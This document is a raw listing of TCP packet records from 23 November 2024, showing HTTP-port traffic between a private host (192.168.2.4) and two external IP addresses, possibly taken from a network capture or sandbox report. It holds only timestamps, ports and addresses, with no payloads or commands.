Nov 23, 2024 11:22:25.840220928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.840265036 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.840291023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.840938091 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.840979099 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.840987921 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.841697931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.841742039 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.841747999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.842480898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.842524052 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.842576981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.843260050 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.843326092 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.843362093 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.844168901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.844216108 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.844331980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.844764948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.844800949 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.844815016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.845494032 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.845541000 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.845602989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.846271038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.846330881 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.846390009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.847058058 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.847121954 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.847194910 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.847841978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.847965002 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.848015070 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.848515034 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.848553896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.848556995 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.849287033 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.849334002 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.849407911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.850136042 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.850183010 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.850244045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.850814104 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.850889921 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.850936890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.851664066 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.851725101 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.851798058 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.852418900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.852466106 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.852505922 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.853091955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.853133917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.853202105 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.853862047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.853913069 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.853965044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.854643106 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.854702950 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.854753017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.855384111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.855478048 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.855546951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.856158018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.856213093 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.856293917 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.856929064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.856969118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.857007027 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.857659101 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.857717037 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.857736111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.858417988 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.858485937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.858527899 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.859183073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.859221935 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.859301090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.859936953 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.859968901 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.860038042 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.860757113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.860773087 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.860799074 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.861527920 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.861576080 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.861654043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.862231970 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.862273932 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.862324953 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.863045931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.863099098 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.863154888 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.863734961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.863857031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.863889933 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.864478111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.864593029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.864623070 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.865195036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.865251064 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.867851973 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.867923021 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.868000031 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.868067026 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.868277073 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.868325949 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.868575096 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.868622065 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.869118929 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.869188070 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.869235992 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.870004892 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.870045900 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.870060921 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.870112896 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.870130062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.870207071 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.870248079 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.870507002 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.870652914 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.870740891 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.870769978 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.870786905 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.870855093 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.870887995 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.871293068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.871356010 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.871462107 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.871515036 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.871663094 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.871694088 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.871733904 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.871970892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.872101068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.872143030 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.872339010 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.872447968 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.872467995 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.872509003 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.872776985 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.872848034 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.872895956 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.873142958 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.873189926 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.873306036 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.873342991 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.873500109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.873655081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.873713970 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.873981953 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.874177933 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.874221087 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.874275923 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.874289989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.874326944 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.874789000 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.874845028 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.874903917 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.874942064 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.875618935 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.875660896 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.875725985 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.876076937 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.876424074 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.876473904 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.876482964 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.876569986 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.877294064 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.877346992 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.877377987 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.877420902 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.878092051 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.878174067 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.878191948 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.878226995 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.879059076 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.879096031 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.879105091 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.879138947 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.879714966 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.879823923 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.879842043 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.879889965 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.880542994 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.880649090 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.880665064 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.880909920 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.881341934 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.881386995 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.881443024 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.881504059 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.882191896 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.882230997 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.882302046 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.882340908 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.883016109 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.883060932 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.883105040 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.883147955 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.883819103 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.883863926 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.883950949 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.884304047 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.884666920 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.884769917 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.884812117 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.885484934 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.885586023 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.885610104 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.886320114 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.886357069 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.886364937 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.886384010 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.887094021 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.887145996 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.887166977 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.887262106 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.887960911 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.888005972 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.888102055 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.888144016 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.888757944 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.888824940 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.888875961 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.889107943 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.889559031 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.889594078 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.889777899 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.889822960 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.890410900 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.890434980 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.890448093 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.890463114 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.891179085 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.891249895 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.891336918 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.891376019 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.892009974 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.892059088 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.892102003 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.892138004 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.892839909 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.892880917 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.892962933 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.893002033 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.893647909 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.893698931 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.893776894 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.893826008 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.894526958 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.894558907 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.894610882 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.894655943 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.895303965 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.895339012 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.895404100 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.895607948 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.896146059 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.896178007 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.896266937 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.896428108 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.896889925 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.896936893 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.897008896 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.897047997 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.897754908 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.897790909 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.897931099 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.897974014 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.898566961 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.898616076 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.898669958 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.898710966 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.899640083 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.899663925 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.899683952 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.899699926 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.900204897 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.900247097 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.900295019 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.900338888 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.901056051 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.901101112 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.901169062 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.901216984 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.901882887 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.901952028 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.901985884 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.902129889 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.902668953 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.902705908 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.902750969 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.902791023 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.903464079 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.903503895 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.903536081 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.903615952 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.904285908 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.904391050 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.904431105 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.904634953 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.905097961 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.905147076 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.905215025 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.905272007 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.905930996 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.906039953 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.906068087 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.906091928 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.906764030 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.906804085 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.906847954 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.906888962 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.907576084 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.907639980 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.907660961 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.907702923 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:26.041013002 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.041070938 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.041086912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.041129112 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.041467905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.041512012 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.041516066 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.041532993 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.042392015 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.042448997 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.042603970 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.042675972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.042690992 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.042726994 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.043514967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.043555021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.043570042 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.043592930 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.043610096 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.044528961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.044544935 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.044559956 CET	80	49786	34.116.198.130	192.168.2.4
